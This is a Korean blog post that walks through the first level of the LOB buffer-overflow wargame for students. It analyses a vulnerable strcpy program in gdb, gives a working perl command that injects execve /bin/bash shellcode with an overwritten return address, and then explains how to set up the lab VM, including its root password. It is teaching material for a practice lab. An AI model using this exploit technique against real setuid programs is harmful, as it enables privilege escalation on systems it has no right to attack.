드디어 포스팅합니다.. 원래는 진작에 포스팅 됐어야했지만 최대한 보안 입문자들인 학교 후배들에게 도움이 되고자 Write-up을 작성하기 전에 풀이에 필요한 배경지식을 먼저 포스팅하고 올리기로 했습니다. 그래서 지금 쌓여있는 포스팅이 매우매우 많습니다. 제가 풀었던 문제들이나 공부했던 내용들을 다 포스팅하는게 목표인데 그게 쉽지가 않군요..ㅠㅠ 아무튼 풀이 시작합니다.

 

 

 gate 계정으로 로그인하면 위와 다르게 gremlin과 gremlin.c가 있을겁니다. 그리고 실행해보면 argv error를 뱉어내고 실행할때 인자값을 넘겨주면 입력한 인자값 그대로 출력하고 프로그램이 끝이 납니다. 그럼 바로 gdb로 분석을 시작해보겠습니다. 소스 파일을 보셔도되지만 가급적 보지 않는 것을 추천드립니다. 아래 접힌글에 코드를 첨부했으니 참고하실분들은 참고하시길 바랍니다.

...더보기
/*
	The Lord of the BOF : The Fellowship of the BOF
	- gremlin
	- simple BOF
*/

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

 

 어셈블리어를 몰라도 대충 호출되는 함수만봐도 입력한 인자값을 그대로 어딘가에 복사해주고 출력해준다는 것을 알 수 있습니다. 매우 간단한 프로그램이네요. 일단 strcpy를 호출하는 부분에 bp(BreakPoint)를 걸고 실행해서 분석을 하려고 하면..!

 

 

 권한 문제로 진행이 되지 않습니다! 아까 위쪽에 있던 cremlin이 이 문제를 해결하기 위해 있던겁니다. gremlin 바이너리 자체가 권한이 gremlin이라는 계정에 있는데 이 바이너리를 복사해주면 gate에게 권한이 있는 바이너리가 생성됩니다. 그러면 권한 문제가 깔끔하게 해결이 됩니다. 그럼 바이너리를 복사하고 아까 얘기했던 분석을 진행해보도록 하겠습니다.

$cp gremlin cremlin
$gdb cremlin

(gdb)b *main+54
(gdb)r AAAAAAAA

 

 실행하면 딱 breakpoint를 걸었던 곳에서 프로그램이 멈추는데 이때 x/x 명령어를 통해 레지스터와 메모리 내용들을 살펴볼 수 있습니다. 일단 ' x/x '의 명령어에 대해 설명드리자면 앞의 x 는 eXamine memory를 뜻하고 뒤의 x 는 heX를 뜻합니다. 그러니까 메모리의 내용을 16진수로 출력한다는 뜻이 됩니다. 그리고 뒤쪽 x앞에 숫자는 사이즈라고 생각하시면 되는데 정확히는 지정된 주소부터 지정된 단위의 지정된 사이즈까지 메모리 내용을 출력해 달라는 뜻입니다. 예를 들어 위에 나와 있는 x/80wx $esp는 현재 esp의 주소부터 80 Word 만큼의 메모리를 보겠다는 뜻입니다. 만약에 Double Word만큼 보겠다면 x대신 gx를 적어주면 되겠습니다. 그냥 x만 적는 경우 이전에 사용한 단위로 출력해줍니다.

 다시 풀이로 돌아와서 지난번 포스팅했던 Return to Shellcode에 기본적인 함수의 스택 구조를 설명했었는데 그 내용을 토대로 현재 main 함수의 스택 구조를 간단하게 살펴보자면 아래와 같습니다.

 

명칭 주소 내용
??? 0xbffffb34 0xbffffb74
??? 0xbffffb30 0x00000002
RET 0xbffffb2c 0x400309cb
EBP(SFP) 0xbffffb28 0xbffffb48
.... ... ...
ESP 0xbffffa20 0xbffffa28

 

이전 포스팅에서 볼 수 없었던 ??? 항목 2개가 있는데 RET바로 위에 있는 물음표는 argc고 그 위에 있는것은 argv의 포인터 주소입니다. argc와 argv가 맞는지부터 확인하고 argc와 argv에 대해 설명해드리겠습니다.

 

 

 인자값으로 AAAA와 BBBB를 넘겨줘서 다시 실행시켜줬습니다. 중간에 띄어쓰기 꼭 넣어주셔야합니다. 그리고 argc에 해당하는 주소를 살펴보니 2에서 3으로 변경되어 있고 argv 포인터에 해당하는 주소를 살펴보니 3개의 주소 안에 바이너리의 경로와 인자값 AAAA와 BBBB가 있는 것을 확인할 수 있습니다. 이쯤되면 argc와 argv가 뭔지 감이 오실거라 생각합니다만 혹시 아직 잘 모르겠다 하시는 분들을 위해 한번 정리해보자면

 

argv[0] argv[1] argv[2]
File full path
/home/gate/cremlin
First argument
AAAA
Second argument
BBBB

 

 위와 같이 되겠습니다. argc는 argv의 개수라고 보시면 편하겠네요. 자 그럼 메인 함수의 스택 구성에 대해 파악했으니 다시 바이너리 분석으로 돌아가서 마저 분석해보도록 하겠습니다.

 

 

 다시 strcpy을 호출하는 부분에 bp를 걸고 AAAABBBB를 인자값으로 넣고 실행했습니다. strcpy호출 전/후 차이를 보시면 빨간 박스 부분에 기존의 어떤한 값에서 0x41414141과 0x42424242로 변경된것을 확인할 수 있습니다. 이 값들은 'A'와 'B'의 아스키코드를 16진수로 표현한 값입니다. 자, 그럼 strcpy에서 argv[1]의 값을 읽어와 저 위치에 넣어준다는 뜻이 되겠죠? 그렇다면 저 위치에 Shellcode를 넣고 EBP까지 무의미한 값을 넣은다음 Return Address에 저 위치의 주소를 넣으면 Shellcode가 실행이 되겠군요!
 그럼 먼저 정확히 얼마만큼의 데이터를 넣어야 EBP까지 덮어 씌워지는지 확인해보겠습니다. 단순히 EBP 주소 - 0x41414141의 주소를 하면되겠네요.

(gdb) x/x $esp+8
0xbffffa28:	0x41414141
(gdb) x/x $ebp
0xbffffb28:	0xbffffb48

 스샷은 사치니까 그냥 gdb명령어와 결과를 복붙했습니다. 보면 주소값이 0xbffffa28과 0xbffffb28입니다. 차이가 정확히 0x100만큼 차이나네요! 그리고 0x100은 10진수로 256입니다. 그럼 아래와 같은 값을 넣으면 Shellcode가 실행되겠죠?

 

0xbffffa28 0xbffffa28 ~ $EBP-4 EBP(SFP) Return Address
Shellcode AAAAAAAA....
[(260 - Shellcode Length) * A]
0xbffffa28

 

쉘코드는 인터넷에서 하나 긁어오겠습니다. 제가 긁어온 쉘코드는 33Byte짜리 쉘코드입니다. 그럼 다시 정리하자면

Shellcode(33byte) + A(227Byte) + 0xbffffa28(4Byte)

가 되겠군요. 근데 A를 223개를 수동으로 입력할 수 없으니 스크립트를 이용해서 할겁니다. 스크립트는 Perl이든 Python이든 상관 없으니 편하신걸로 사용하면 됩니다. 그럼 한번 시도해보도록 하죠.

 

$./cremlin `perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80","A"x227,"\x28\xfa\xff\xbf"'`

 

 예상과 다르게 Illegal instruction이 터지면서 프로그램이 종료됩니다. 그 이유는 argv에 있습니다. gdb에서 위와 같은 코드를 그대로 실행하고 분석해보겠습니다.

 

 
 일단 저희가 예상한대로 잘 덮어졌습니다. Return Address가 0xbffffa28로 덮어 씌워졌는데 막상 저 위치를 보니 Shellcode가 아니라 'A'가 있습니다. 그리고 Shellcode는 0xbffffa28이 아니라 0xbffff928에 있네요! 기존 주소에서 딱 0x100만큼 밀렸습니다! 주소가 밀린 이유는 argv 때문입니다. 저희가 처음에는 인자값으로 AAAABBBB, 총 8Byte짜리 값을 넘겼고 이번엔 인자값으로 Shellcode(33Byte) + A(227Byte) + Return Address(4Byte), 총 264Byte를 넘겼죠. 그럼 argv에 그만큼 추가 공간이 필요하고 그 공간을 확보하느라 나머지 주소가 전부다 0x100만큼 밀린겁니다. 그럼 주소값을 수정해서 다시 시도해보겠습니다.

 

$./gremlin `perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80","A"x227,"\x28\xf9\xff\xbf"'`

끝!

 

'Pwnable > LOB(Red Hat)' 카테고리의 다른 글

LOB(Redhat) 시작하기  (0) 2019.08.03

LOB 초기 화면

서론

  LOB는 HackerSchool에서 만든 BOF Wargame 입니다. Pwnable 분야를 공부하는 사람이라면 모르는 사람이 거의 없는 매우 유명한 워게임으로 저도 해당 분야의 입문을 희망하는 후배들에게 추천할만큼 쉽고 재밌습니다.

[HackerSchool LOB 공지글]
https://www.hackerschool.org/HS_Boards/zboard.php?id=HS_Notice&no=1170881885

  LOB를 시작하기 위해서는 먼저 위의 사이트에서 배포중인 가상 머신 이미지가 필요하고 가상 머신 이미지를 구동하기 위한 가상 머신 프로그램이 필요합니다. 가상 머신 프로그램을 설치하고 다운로드 받은 이미지를 실행하면 맨 위와 같은 화면이 뜹니다.


환경 세팅

  이제 바로 워게임을 시작할 수 있지만 좀 더 원활한 문제 풀이를 위해 몇가지 세팅이 필요합니다. 세팅을 위해 root 계정으로 로그인 합니다.

root password : hackerschoolbof

1.bash2 설정

  가장 먼저 할 것은 모든 사용자가 bash 대신 bash2를 쓰게 설정해주는 겁니다. bash를 사용하면 버그로 인해 \xff가 \x00으로 들어가서 제대로 된 문제풀이를 할 수 없습니다. 때문에 bash2를 써서 해당 문제를 해결해야 하는데 매번 bash2를 수동으로 실행하기가 매우 번거로워서 자동으로 bash2가 실행되게 해줍니다.

root 계정으로 로그인 한 뒤 아래의 명령어를 입력합니다.

vi /etc/passwd

  그 후 아래와 같은 명령어를 입력하여 bash를 bash2로 변경해줍니다. 만약 본인이 아직 vi (혹은 vim)에 익숙치 않다면 아래 내용을 그대로 따라 쳐주시면 됩니다.

:%s/bash/bash2/

변경 전
변경 후

적용 여부는 다른 계정으로 전환하고 ps 명령어를 이용해 확인하면 됩니다.

2.편리하게 ifconfig 사용하기

  뒤에서 설명하겠지만 로컬에서는 문제를 풀기에 굉장히 불편하기 때문에 보통 telnet을 이용해 원격에서 문제를 풉니다. 이때 가상 머신의 ip 주소를 확인해야 하는데 일반적인 리눅스와 다르게 ifconfig을 실행하려면 /sbin/ifconfig를 입력해야 합니다. 개인적으로는 이게 굉장히 귀찮기 때문에 ifconfig만 입력해도 실행되게 하려고 합니다.

cp /sbin/ifconfig /bin/ifconfig

3. 언제 어디서든 원활하게 접속하기 (Host-Only Network)

  ifconfig 설정과 비슷한 이유입니다. 원격에서 붙기 위해서는 ip주소가 필요하죠. 하지만 보통 가상 머신 기본 네트워크 설정은 NAT나 Bridge입니다. 때문에 호스트에서 사용하는 네트워크 환경이 바뀐다면 가상 머신에서 IP를 다시 할당 받기 전까지는 기존의 IP 주소로 연결할 수 없습니다. 그래서 IP주소가 변경되지 않는 Host-Only Network로 설정하려고 합니다.

  제가 쓰고 있는 VMware Fusion을 기준으로 Host-Only가 아니라 Private to my Mac이지만 아마 윈도우에서 쓰는 VMWare WorkStation이나 Player의 경우 네트워크 설정에 가면 Host-Only 라고 있을겁니다. 해당 설정으로 변경해주시면 됩니다. 상황에 따라 재부팅이 필요할지도 모르니 참고하시길 바랍니다.

4. 원격으로 접속하기

  이제 모든 세팅이 끝났고 원격으로 접속만 하면됩니다. 원격 프로그램을 사용하셔도 되고 XShell 이나 putty 등을 이용하셔도 됩니다. 현재 맥북에서 작성하는 글이라 이 내용은 추후에 윈도우를 사용할 경우가 생기면 업데이트 하도록 하겠습니다.

끝!

 

 

추가 : VMWare 네트워크 설정법

  VMWare Workstation와 Player는 생긴것도 조금 다르지만 위와 같은 메뉴는 공통적으로 존재하는 것으로 알고 있습니다. 위에 표시된 메뉴를 눌러주시면 아래와 같은 화면이 뜹니다.

  Network Adapter로 이동하셔서 Network connection을 Host-only로 변경해주시고 재부팅 하시면 끝납니다. :)

'Pwnable > LOB(Red Hat)' 카테고리의 다른 글

[LOB RedHat] LV1. gate -> gremlin  (0) 2019.08.10

+ Recent posts